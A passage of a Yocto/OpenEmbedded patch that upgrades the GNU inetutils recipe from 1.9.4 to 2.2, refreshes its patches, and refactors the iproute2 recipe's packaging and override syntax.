+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] inetutils: define PATH_PROCNET_DEV if not already defined
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
this prevents the following compilation error :
system/linux.c:401:15: error: 'PATH_PROCNET_DEV' undeclared (first use in this function)
@@ -9,11 +15,16 @@ this patch comes from :
Upstream-Status: Inappropriate [not author]
Signed-of-by: Eric Bénard <eric@eukrea.com>
+
---
-diff -Naur inetutils-1.9.orig/ifconfig/system/linux.c inetutils-1.9/ifconfig/system/linux.c
---- inetutils-1.9.orig/ifconfig/system/linux.c 2012-01-04 16:31:36.000000000 -0500
-+++ inetutils-1.9/ifconfig/system/linux.c 2012-01-04 16:40:53.000000000 -0500
-@@ -49,6 +49,10 @@
+ ifconfig/system/linux.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/ifconfig/system/linux.c b/ifconfig/system/linux.c
+index e453b46..4268ca9 100644
+--- a/ifconfig/system/linux.c
++++ b/ifconfig/system/linux.c
+@@ -53,6 +53,10 @@
#include "../ifconfig.h"
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
index ff3abd86aa..2343c03cb4 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
@@ -1,15 +1,24 @@
+From cc66e842e037fba9f06761f942abe5c4856492b8 Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] inetutils: Import version 1.9.4
+
Only check security/pam_appl.h which is provided by package libpam when pam is
enabled.
Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
---
+ configure.ac | 15 ++++++++++++++-
+ 1 file changed, 14 insertions(+), 1 deletion(-)
+
diff --git a/configure.ac b/configure.ac
-index b35e672..e78a751 100644
+index 5e16c3a..18510a8 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -195,6 +195,19 @@ fi
+@@ -182,6 +182,19 @@ AC_SUBST(LIBUTIL)
# See if we have libpam.a. Investigate PAM versus Linux-PAM.
if test "$with_pam" = yes ; then
@@ -29,12 +38,12 @@ index b35e672..e78a751 100644
AC_CHECK_LIB(dl, dlopen, LIBDL=-ldl)
AC_CHECK_LIB(pam, pam_authenticate, LIBPAM=-lpam)
if test "$ac_cv_lib_pam_pam_authenticate" = yes ; then
-@@ -587,7 +600,7 @@ AC_HEADER_DIRENT
- AC_CHECK_HEADERS([arpa/nameser.h errno.h fcntl.h features.h \
+@@ -617,7 +630,7 @@ AC_HEADER_DIRENT
+ AC_CHECK_HEADERS([arpa/nameser.h arpa/tftp.h fcntl.h features.h \
glob.h memory.h netinet/ether.h netinet/in_systm.h \
netinet/ip.h netinet/ip_icmp.h netinet/ip_var.h \
- security/pam_appl.h shadow.h \
+ shadow.h \
- stdarg.h stdlib.h string.h stropts.h sys/tty.h \
+ stropts.h sys/tty.h \
sys/utsname.h sys/ptyvar.h sys/msgbuf.h sys/filio.h \
sys/ioctl_compat.h sys/cdefs.h sys/stream.h sys/mkdev.h \
diff --git a/meta/recipes-connectivity/inetutils/inetutils/version.patch b/meta/recipes-connectivity/inetutils/inetutils/version.patch
deleted file mode 100644
index 532a0e5c08..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/version.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-remove m4_esyscmd function
-
-Signed-off-by: Chunrong Guo <b40290@freescale.com>
---- inetutils-1.9.1/configure.ac 2012-01-06 22:05:05.000000000 +0800
-+++ inetutils-1.9.1/configure.ac 2012-11-12 14:01:11.732957019 +0800
-@@ -20,8 +20,7 @@
-
- AC_PREREQ(2.59)
-
--AC_INIT([GNU inetutils],
-- m4_esyscmd([build-aux/git-version-gen .tarball-version 's/inetutils-/v/;s/_/./g']),
-+AC_INIT([GNU inetutils],[1.9.4],
- [bug-inetutils@gnu.org])
-
- AC_CONFIG_SRCDIR([src/inetd.c])
diff --git a/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb b/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb
deleted file mode 100644
index 684fbe09e1..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb
+++ /dev/null
@@ -1,210 +0,0 @@
-DESCRIPTION = "The GNU inetutils are a collection of common \
-networking utilities and servers including ftp, ftpd, rcp, \
-rexec, rlogin, rlogind, rsh, rshd, syslog, syslogd, talk, \
-talkd, telnet, telnetd, tftp, tftpd, and uucpd."
-HOMEPAGE = "http://www.gnu.org/software/inetutils"
-SECTION = "net"
-DEPENDS = "ncurses netbase readline virtual/crypt"
-
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7"
-
-SRC_URI = "${GNU_MIRROR}/inetutils/inetutils-${PV}.tar.gz \
- file://version.patch \
- file://inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch \
- file://inetutils-1.8-0003-wchar.patch \
- file://rexec.xinetd.inetutils \
- file://rlogin.xinetd.inetutils \
- file://rsh.xinetd.inetutils \
- file://telnet.xinetd.inetutils \
- file://tftpd.xinetd.inetutils \
- file://inetutils-1.9-PATH_PROCNET_DEV.patch \
- file://inetutils-only-check-pam_appl.h-when-pam-enabled.patch \
- file://0001-rcp-fix-to-work-with-large-files.patch \
- file://fix-buffer-fortify-tfpt.patch \
-"
-
-SRC_URI[md5sum] = "04852c26c47cc8c6b825f2b74f191f52"
-SRC_URI[sha256sum] = "be8f75eff936b8e41b112462db51adf689715658a1b09e0d6b05d11ec92cc616"
-
-inherit autotools gettext update-alternatives texinfo
-
-acpaths = "-I ./m4"
-
-SRC_URI += "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '', 'file://fix-disable-ipv6.patch', d)}"
-
-PACKAGECONFIG ??= "ftp uucpd \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ipv6 ping6', '', d)} \
- "
-PACKAGECONFIG[ftp] = "--enable-ftp,--disable-ftp,readline"
-PACKAGECONFIG[uucpd] = "--enable-uucpd,--disable-uucpd,readline"
-PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6 gl_cv_socket_ipv6=no,"
-PACKAGECONFIG[ping6] = "--enable-ping6,--disable-ping6,"
-
-EXTRA_OECONF = "--with-ncurses-include-dir=${STAGING_INCDIR} \
- inetutils_cv_path_login=${base_bindir}/login \
- --with-libreadline-prefix=${STAGING_LIBDIR} \
- --enable-rpath=no \
-"
-
-# These are horrible for security, disable them
-EXTRA_OECONF_append = " --disable-rsh --disable-rshd --disable-rcp \
- --disable-rlogin --disable-rlogind --disable-rexec --disable-rexecd"
-
-do_configure_prepend () {
- export HELP2MAN='true'
- cp ${STAGING_DATADIR_NATIVE}/gettext/config.rpath ${S}/build-aux/config.rpath
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}
- rm -f ${S}/glob/configure*
-}
-
-do_install_append () {
- install -m 0755 -d ${D}${base_sbindir}
- install -m 0755 -d ${D}${sbindir}
- install -m 0755 -d ${D}${sysconfdir}/xinetd.d
- if [ "${base_bindir}" != "${bindir}" ] ; then
- install -m 0755 -d ${D}${base_bindir}
- mv ${D}${bindir}/ping* ${D}${base_bindir}/
- mv ${D}${bindir}/hostname ${D}${base_bindir}/
- fi
- mv ${D}${bindir}/ifconfig ${D}${base_sbindir}/
- mv ${D}${libexecdir}/syslogd ${D}${base_sbindir}/
- mv ${D}${libexecdir}/tftpd ${D}${sbindir}/in.tftpd
- mv ${D}${libexecdir}/telnetd ${D}${sbindir}/in.telnetd
- if [ -e ${D}${libexecdir}/rexecd ]; then
- mv ${D}${libexecdir}/rexecd ${D}${sbindir}/in.rexecd
- cp ${WORKDIR}/rexec.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rexec
- fi
- if [ -e ${D}${libexecdir}/rlogind ]; then
- mv ${D}${libexecdir}/rlogind ${D}${sbindir}/in.rlogind
- cp ${WORKDIR}/rlogin.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rlogin
- fi
- if [ -e ${D}${libexecdir}/rshd ]; then
- mv ${D}${libexecdir}/rshd ${D}${sbindir}/in.rshd
- cp ${WORKDIR}/rsh.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rsh
- fi
- if [ -e ${D}${libexecdir}/talkd ]; then
- mv ${D}${libexecdir}/talkd ${D}${sbindir}/in.talkd
- fi
- mv ${D}${libexecdir}/uucpd ${D}${sbindir}/in.uucpd
- mv ${D}${libexecdir}/* ${D}${bindir}/
- cp ${WORKDIR}/telnet.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/telnet
- cp ${WORKDIR}/tftpd.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/tftpd
-
- sed -e 's,@SBINDIR@,${sbindir},g' -i ${D}/${sysconfdir}/xinetd.d/*
- if [ -e ${D}${libdir}/charset.alias ]; then
- rm -rf ${D}${libdir}/charset.alias
- fi
- rm -rf ${D}${libexecdir}/
- # remove usr/lib if empty
- rmdir ${D}${libdir} || true
-}
-
-PACKAGES =+ "${PN}-ping ${PN}-ping6 ${PN}-hostname ${PN}-ifconfig \
-${PN}-tftp ${PN}-logger ${PN}-traceroute ${PN}-syslogd \
-${PN}-ftp ${PN}-ftpd ${PN}-tftpd ${PN}-telnet ${PN}-telnetd ${PN}-inetd \
-${PN}-rsh ${PN}-rshd"
-
-# The packages tftpd, telnetd and rshd conflict with the ones
-# provided by netkit, so add the corresponding -dbg packages
-# for them to avoid the confliction between the dbg package
-# of inetutils and netkit.
-PACKAGES =+ "${PN}-tftpd-dbg ${PN}-telnetd-dbg ${PN}-rshd-dbg"
-NOAUTOPACKAGEDEBUG = "1"
-
-ALTERNATIVE_PRIORITY = "79"
-ALTERNATIVE_${PN} = "whois"
-ALTERNATIVE_LINK_NAME[uucpd] = "${sbindir}/in.uucpd"
-
-ALTERNATIVE_PRIORITY_${PN}-logger = "60"
-ALTERNATIVE_${PN}-logger = "logger"
-ALTERNATIVE_${PN}-syslogd = "syslogd"
-ALTERNATIVE_LINK_NAME[syslogd] = "${base_sbindir}/syslogd"
-
-ALTERNATIVE_${PN}-ftp = "ftp"
-ALTERNATIVE_${PN}-ftpd = "ftpd"
-ALTERNATIVE_${PN}-tftp = "tftp"
-ALTERNATIVE_${PN}-tftpd = "tftpd"
-ALTERNATIVE_LINK_NAME[tftpd] = "${sbindir}/tftpd"
-ALTERNATIVE_TARGET[tftpd] = "${sbindir}/in.tftpd"
-
-ALTERNATIVE_${PN}-telnet = "telnet"
-ALTERNATIVE_${PN}-telnetd = "telnetd"
-ALTERNATIVE_LINK_NAME[telnetd] = "${sbindir}/telnetd"
-ALTERNATIVE_TARGET[telnetd] = "${sbindir}/in.telnetd"
-
-ALTERNATIVE_${PN}-inetd= "inetd"
-ALTERNATIVE_${PN}-traceroute = "traceroute"
-
-ALTERNATIVE_${PN}-hostname = "hostname"
-ALTERNATIVE_LINK_NAME[hostname] = "${base_bindir}/hostname"
-
-ALTERNATIVE_${PN}-doc = "hostname.1 dnsdomainname.1 logger.1 syslogd.8"
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
-ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
-ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
-
-ALTERNATIVE_${PN}-ifconfig = "ifconfig"
-ALTERNATIVE_LINK_NAME[ifconfig] = "${base_sbindir}/ifconfig"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-ALTERNATIVE_${PN}-ping6 = "${@bb.utils.filter('PACKAGECONFIG', 'ping6', d)}"
-ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
-
-
-FILES_${PN}-dbg += "${base_bindir}/.debug ${base_sbindir}/.debug ${bindir}/.debug ${sbindir}/.debug"
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
-FILES_${PN}-hostname = "${base_bindir}/hostname.${BPN}"
-FILES_${PN}-ifconfig = "${base_sbindir}/ifconfig.${BPN}"
-FILES_${PN}-traceroute = "${bindir}/traceroute.${BPN}"
-FILES_${PN}-logger = "${bindir}/logger.${BPN}"
-
-FILES_${PN}-syslogd = "${base_sbindir}/syslogd.${BPN}"
-RCONFLICTS_${PN}-syslogd = "rsyslog busybox-syslog sysklogd syslog-ng"
-
-FILES_${PN}-ftp = "${bindir}/ftp.${BPN}"
-
-FILES_${PN}-tftp = "${bindir}/tftp.${BPN}"
-FILES_${PN}-telnet = "${bindir}/telnet.${BPN}"
-
-# We make us of RCONFLICTS / RPROVIDES here rather than using the normal
-# alternatives method as this leads to packaging QA issues when using
-# musl as that library does not provide what these applications need to
-# build.
-FILES_${PN}-rsh = "${bindir}/rsh ${bindir}/rlogin ${bindir}/rexec ${bindir}/rcp"
-RCONFLICTS_${PN}-rsh += "netkit-rsh-client"
-RPROVIDES_${PN}-rsh = "rsh"
-
-FILES_${PN}-rshd = "${sbindir}/in.rshd ${sbindir}/in.rlogind ${sbindir}/in.rexecd \
- ${sysconfdir}/xinetd.d/rsh ${sysconfdir}/xinetd.d/rlogin ${sysconfdir}/xinetd.d/rexec"
-FILES_${PN}-rshd-dbg = "${sbindir}/.debug/in.rshd ${sbindir}/.debug/in.rlogind ${sbindir}/.debug/in.rexecd"
-RDEPENDS_${PN}-rshd += "xinetd tcp-wrappers"
-RCONFLICTS_${PN}-rshd += "netkit-rshd-server"
-RPROVIDES_${PN}-rshd = "rshd"
-
-FILES_${PN}-ftpd = "${bindir}/ftpd.${BPN}"
-FILES_${PN}-ftpd-dbg = "${bindir}/.debug/ftpd.${BPN}"
-RDEPENDS_${PN}-ftpd += "xinetd"
-
-FILES_${PN}-tftpd = "${sbindir}/in.tftpd ${sysconfdir}/xinetd.d/tftpd"
-FILES_${PN}-tftpd-dbg = "${sbindir}/.debug/in.tftpd"
-RCONFLICTS_${PN}-tftpd += "netkit-tftpd"
-RDEPENDS_${PN}-tftpd += "xinetd"
-
-FILES_${PN}-telnetd = "${sbindir}/in.telnetd ${sysconfdir}/xinetd.d/telnet"
-FILES_${PN}-telnetd-dbg = "${sbindir}/.debug/in.telnetd"
-RCONFLICTS_${PN}-telnetd += "netkit-telnet"
-RPROVIDES_${PN}-telnetd = "telnetd"
-RDEPENDS_${PN}-telnetd += "xinetd"
-
-FILES_${PN}-inetd = "${bindir}/inetd.${BPN}"
-
-RDEPENDS_${PN} = "xinetd"
diff --git a/meta/recipes-connectivity/inetutils/inetutils_2.2.bb b/meta/recipes-connectivity/inetutils/inetutils_2.2.bb
new file mode 100644
index 0000000000..6c9a299b71
--- /dev/null
+++ b/meta/recipes-connectivity/inetutils/inetutils_2.2.bb
@@ -0,0 +1,211 @@
+DESCRIPTION = "The GNU inetutils are a collection of common \
+networking utilities and servers including ftp, ftpd, rcp, \
+rexec, rlogin, rlogind, rsh, rshd, syslog, syslogd, talk, \
+talkd, telnet, telnetd, tftp, tftpd, and uucpd."
+HOMEPAGE = "http://www.gnu.org/software/inetutils"
+SECTION = "net"
+DEPENDS = "ncurses netbase readline virtual/crypt"
+
+LICENSE = "GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7"
+
+SRC_URI[sha256sum] = "d547f69172df73afef691a0f7886280fd781acea28def4ff4b4b212086a89d80"
+SRC_URI = "${GNU_MIRROR}/inetutils/inetutils-${PV}.tar.xz \
+ file://inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch \
+ file://inetutils-1.8-0003-wchar.patch \
+ file://rexec.xinetd.inetutils \
+ file://rlogin.xinetd.inetutils \
+ file://rsh.xinetd.inetutils \
+ file://telnet.xinetd.inetutils \
+ file://tftpd.xinetd.inetutils \
+ file://inetutils-1.9-PATH_PROCNET_DEV.patch \
+ file://inetutils-only-check-pam_appl.h-when-pam-enabled.patch \
+"
+
+inherit autotools gettext update-alternatives texinfo
+
+acpaths = "-I ./m4"
+
+SRC_URI += "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '', 'file://fix-disable-ipv6.patch', d)}"
+
+PACKAGECONFIG ??= "ftp uucpd \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ipv6 ping6', '', d)} \
+ "
+PACKAGECONFIG[ftp] = "--enable-ftp,--disable-ftp,readline"
+PACKAGECONFIG[uucpd] = "--enable-uucpd,--disable-uucpd,readline"
+PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6 gl_cv_socket_ipv6=no,"
+PACKAGECONFIG[ping6] = "--enable-ping6,--disable-ping6,"
+
+EXTRA_OECONF = "--with-ncurses-include-dir=${STAGING_INCDIR} \
+ inetutils_cv_path_login=${base_bindir}/login \
+ --with-libreadline-prefix=${STAGING_LIBDIR} \
+ --enable-rpath=no \
+"
+
+# These are horrible for security, disable them
+EXTRA_OECONF:append = " --disable-rsh --disable-rshd --disable-rcp \
+ --disable-rlogin --disable-rlogind --disable-rexec --disable-rexecd"
+
+do_configure:prepend () {
+ export HELP2MAN='true'
+ cp ${STAGING_DATADIR_NATIVE}/gettext/config.rpath ${S}/build-aux/config.rpath
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}
+ rm -f ${S}/glob/configure*
+}
+
+do_install:append () {
+ install -m 0755 -d ${D}${base_sbindir}
+ install -m 0755 -d ${D}${sbindir}
+ install -m 0755 -d ${D}${sysconfdir}/xinetd.d
+ if [ "${base_bindir}" != "${bindir}" ] ; then
+ install -m 0755 -d ${D}${base_bindir}
+ mv ${D}${bindir}/ping* ${D}${base_bindir}/
+ mv ${D}${bindir}/hostname ${D}${base_bindir}/
+ mv ${D}${bindir}/dnsdomainname ${D}${base_bindir}/
+ fi
+ mv ${D}${bindir}/ifconfig ${D}${base_sbindir}/
+ mv ${D}${libexecdir}/syslogd ${D}${base_sbindir}/
+ mv ${D}${libexecdir}/tftpd ${D}${sbindir}/in.tftpd
+ mv ${D}${libexecdir}/telnetd ${D}${sbindir}/in.telnetd
+ if [ -e ${D}${libexecdir}/rexecd ]; then
+ mv ${D}${libexecdir}/rexecd ${D}${sbindir}/in.rexecd
+ cp ${WORKDIR}/rexec.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rexec
+ fi
+ if [ -e ${D}${libexecdir}/rlogind ]; then
+ mv ${D}${libexecdir}/rlogind ${D}${sbindir}/in.rlogind
+ cp ${WORKDIR}/rlogin.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rlogin
+ fi
+ if [ -e ${D}${libexecdir}/rshd ]; then
+ mv ${D}${libexecdir}/rshd ${D}${sbindir}/in.rshd
+ cp ${WORKDIR}/rsh.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rsh
+ fi
+ if [ -e ${D}${libexecdir}/talkd ]; then
+ mv ${D}${libexecdir}/talkd ${D}${sbindir}/in.talkd
+ fi
+ mv ${D}${libexecdir}/uucpd ${D}${sbindir}/in.uucpd
+ mv ${D}${libexecdir}/* ${D}${bindir}/
+ cp ${WORKDIR}/telnet.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/telnet
+ cp ${WORKDIR}/tftpd.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/tftpd
+
+ sed -e 's,@SBINDIR@,${sbindir},g' -i ${D}/${sysconfdir}/xinetd.d/*
+ if [ -e ${D}${libdir}/charset.alias ]; then
+ rm -rf ${D}${libdir}/charset.alias
+ fi
+ rm -rf ${D}${libexecdir}/
+ # remove usr/lib if empty
+ rmdir ${D}${libdir} || true
+}
+
+PACKAGES =+ "${PN}-ping ${PN}-ping6 ${PN}-hostname ${PN}-ifconfig \
+${PN}-tftp ${PN}-logger ${PN}-traceroute ${PN}-syslogd \
+${PN}-ftp ${PN}-ftpd ${PN}-tftpd ${PN}-telnet ${PN}-telnetd ${PN}-inetd \
+${PN}-rsh ${PN}-rshd"
+
+# The packages tftpd, telnetd and rshd conflict with the ones
+# provided by netkit, so add the corresponding -dbg packages
+# for them to avoid the confliction between the dbg package
+# of inetutils and netkit.
+PACKAGES =+ "${PN}-tftpd-dbg ${PN}-telnetd-dbg ${PN}-rshd-dbg"
+NOAUTOPACKAGEDEBUG = "1"
+
+ALTERNATIVE_PRIORITY = "79"
+ALTERNATIVE:${PN} = "whois dnsdomainname"
+ALTERNATIVE_LINK_NAME[uucpd] = "${sbindir}/in.uucpd"
+ALTERNATIVE_LINK_NAME[dnsdomainname] = "${base_bindir}/dnsdomainname"
+
+ALTERNATIVE_PRIORITY_${PN}-logger = "60"
+ALTERNATIVE:${PN}-logger = "logger"
+ALTERNATIVE:${PN}-syslogd = "syslogd"
+ALTERNATIVE_LINK_NAME[syslogd] = "${base_sbindir}/syslogd"
+
+ALTERNATIVE:${PN}-ftp = "ftp"
+ALTERNATIVE:${PN}-ftpd = "ftpd"
+ALTERNATIVE:${PN}-tftp = "tftp"
+ALTERNATIVE:${PN}-tftpd = "tftpd"
+ALTERNATIVE_LINK_NAME[tftpd] = "${sbindir}/tftpd"
+ALTERNATIVE_TARGET[tftpd] = "${sbindir}/in.tftpd"
+
+ALTERNATIVE:${PN}-telnet = "telnet"
+ALTERNATIVE:${PN}-telnetd = "telnetd"
+ALTERNATIVE_LINK_NAME[telnetd] = "${sbindir}/telnetd"
+ALTERNATIVE_TARGET[telnetd] = "${sbindir}/in.telnetd"
+
+ALTERNATIVE:${PN}-inetd= "inetd"
+ALTERNATIVE:${PN}-traceroute = "traceroute"
+
+ALTERNATIVE:${PN}-hostname = "hostname"
+ALTERNATIVE_LINK_NAME[hostname] = "${base_bindir}/hostname"
+
+ALTERNATIVE:${PN}-doc = "hostname.1 dnsdomainname.1 logger.1 syslogd.8 \
+ tftpd.8 tftp.1 telnetd.8"
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
+ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
+ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
+ALTERNATIVE_LINK_NAME[telnetd.8] = "${mandir}/man8/telnetd.8"
+ALTERNATIVE_LINK_NAME[tftpd.8] = "${mandir}/man8/tftpd.8"
+ALTERNATIVE_LINK_NAME[tftp.1] = "${mandir}/man1/tftp.1"
+
+ALTERNATIVE:${PN}-ifconfig = "ifconfig"
+ALTERNATIVE_LINK_NAME[ifconfig] = "${base_sbindir}/ifconfig"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+ALTERNATIVE:${PN}-ping6 = "${@bb.utils.filter('PACKAGECONFIG', 'ping6', d)}"
+ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
+
+
+FILES:${PN}-dbg += "${base_bindir}/.debug ${base_sbindir}/.debug ${bindir}/.debug ${sbindir}/.debug"
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
+FILES:${PN}-hostname = "${base_bindir}/hostname.${BPN}"
+FILES:${PN}-ifconfig = "${base_sbindir}/ifconfig.${BPN}"
+FILES:${PN}-traceroute = "${bindir}/traceroute.${BPN}"
+FILES:${PN}-logger = "${bindir}/logger.${BPN}"
+
+FILES:${PN}-syslogd = "${base_sbindir}/syslogd.${BPN}"
+RCONFLICTS:${PN}-syslogd = "rsyslog busybox-syslog sysklogd syslog-ng"
+
+FILES:${PN}-ftp = "${bindir}/ftp.${BPN}"
+
+FILES:${PN}-tftp = "${bindir}/tftp.${BPN}"
+FILES:${PN}-telnet = "${bindir}/telnet.${BPN}"
+
+# We make us of RCONFLICTS / RPROVIDES here rather than using the normal
+# alternatives method as this leads to packaging QA issues when using
+# musl as that library does not provide what these applications need to
+# build.
+FILES:${PN}-rsh = "${bindir}/rsh ${bindir}/rlogin ${bindir}/rexec ${bindir}/rcp"
+RCONFLICTS:${PN}-rsh += "netkit-rsh-client"
+RPROVIDES:${PN}-rsh = "rsh"
+
+FILES:${PN}-rshd = "${sbindir}/in.rshd ${sbindir}/in.rlogind ${sbindir}/in.rexecd \
+ ${sysconfdir}/xinetd.d/rsh ${sysconfdir}/xinetd.d/rlogin ${sysconfdir}/xinetd.d/rexec"
+FILES:${PN}-rshd-dbg = "${sbindir}/.debug/in.rshd ${sbindir}/.debug/in.rlogind ${sbindir}/.debug/in.rexecd"
+RDEPENDS:${PN}-rshd += "xinetd tcp-wrappers"
+RCONFLICTS:${PN}-rshd += "netkit-rshd-server"
+RPROVIDES:${PN}-rshd = "rshd"
+
+FILES:${PN}-ftpd = "${bindir}/ftpd.${BPN}"
+FILES:${PN}-ftpd-dbg = "${bindir}/.debug/ftpd.${BPN}"
+RDEPENDS:${PN}-ftpd += "xinetd"
+
+FILES:${PN}-tftpd = "${sbindir}/in.tftpd ${sysconfdir}/xinetd.d/tftpd"
+FILES:${PN}-tftpd-dbg = "${sbindir}/.debug/in.tftpd"
+RCONFLICTS:${PN}-tftpd += "netkit-tftpd"
+RDEPENDS:${PN}-tftpd += "xinetd"
+
+FILES:${PN}-telnetd = "${sbindir}/in.telnetd ${sysconfdir}/xinetd.d/telnet"
+FILES:${PN}-telnetd-dbg = "${sbindir}/.debug/in.telnetd"
+RCONFLICTS:${PN}-telnetd += "netkit-telnet"
+RPROVIDES:${PN}-telnetd = "telnetd"
+RDEPENDS:${PN}-telnetd += "xinetd"
+
+FILES:${PN}-inetd = "${bindir}/inetd.${BPN}"
+
+RDEPENDS:${PN} = "xinetd"
diff --git a/meta/recipes-connectivity/iproute2/iproute2.inc b/meta/recipes-connectivity/iproute2/iproute2.inc
index fc31b8444e..b1bcc1434c 100644
--- a/meta/recipes-connectivity/iproute2/iproute2.inc
+++ b/meta/recipes-connectivity/iproute2/iproute2.inc
@@ -5,7 +5,7 @@ and tc are the most important. ip controls IPv4 and IPv6 \
configuration and tc stands for traffic control."
HOMEPAGE = "http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
file://ip/ip.c;beginline=3;endline=8;md5=689d691d0410a4b64d3899f8d6e31817"
@@ -15,14 +15,24 @@ inherit update-alternatives bash-completion pkgconfig
CLEANBROKEN = "1"
-PACKAGECONFIG ??= "tipc elf"
+PACKAGECONFIG ??= "tipc elf devlink"
PACKAGECONFIG[tipc] = ",,libmnl,"
PACKAGECONFIG[elf] = ",,elfutils,"
+PACKAGECONFIG[devlink] = ",,libmnl,"
+PACKAGECONFIG[rdma] = ",,libmnl,"
-EXTRA_OEMAKE = "CC='${CC}' KERNEL_INCLUDE=${STAGING_INCDIR} DOCDIR=${docdir}/iproute2 SUBDIRS='lib tc ip bridge misc genl \
- ${@bb.utils.contains('PACKAGECONFIG', 'tipc', 'tipc', '', d)}' SBINDIR='${base_sbindir}' LIBDIR='${libdir}'"
+IPROUTE2_MAKE_SUBDIRS = "lib tc ip bridge misc genl ${@bb.utils.filter('PACKAGECONFIG', 'devlink tipc rdma', d)}"
-do_configure_append () {
+EXTRA_OEMAKE = "\
+ CC='${CC}' \
+ KERNEL_INCLUDE=${STAGING_INCDIR} \
+ DOCDIR=${docdir}/iproute2 \
+ SUBDIRS='${IPROUTE2_MAKE_SUBDIRS}' \
+ SBINDIR='${base_sbindir}' \
+ LIBDIR='${libdir}' \
+"
+
+do_configure:append () {
sh configure ${STAGING_INCDIR}
# Explicitly disable ATM support
sed -i -e '/TC_CONFIG_ATM/d' config.mk
@@ -37,33 +47,45 @@ do_install () {
}
# The .so files in iproute2-tc are modules, not traditional libraries
-INSANE_SKIP_${PN}-tc = "dev-so"
+INSANE_SKIP:${PN}-tc = "dev-so"
+
+IPROUTE2_PACKAGES =+ "\
+ ${PN}-devlink \
+ ${PN}-genl \
+ ${PN}-ifstat \
+ ${PN}-ip \
+ ${PN}-lnstat \
+ ${PN}-nstat \
+ ${PN}-rtacct \
+ ${PN}-ss \
+ ${PN}-tc \
+ ${PN}-tipc \
+ ${PN}-rdma \
+"
+
+PACKAGE_BEFORE_PN = "${IPROUTE2_PACKAGES}"
+RDEPENDS:${PN} += "${PN}-ip"
-PACKAGES =+ "${PN}-tc \
- ${PN}-lnstat \
- ${PN}-ifstat \
- ${PN}-genl \
- ${PN}-rtacct \
- ${PN}-nstat \
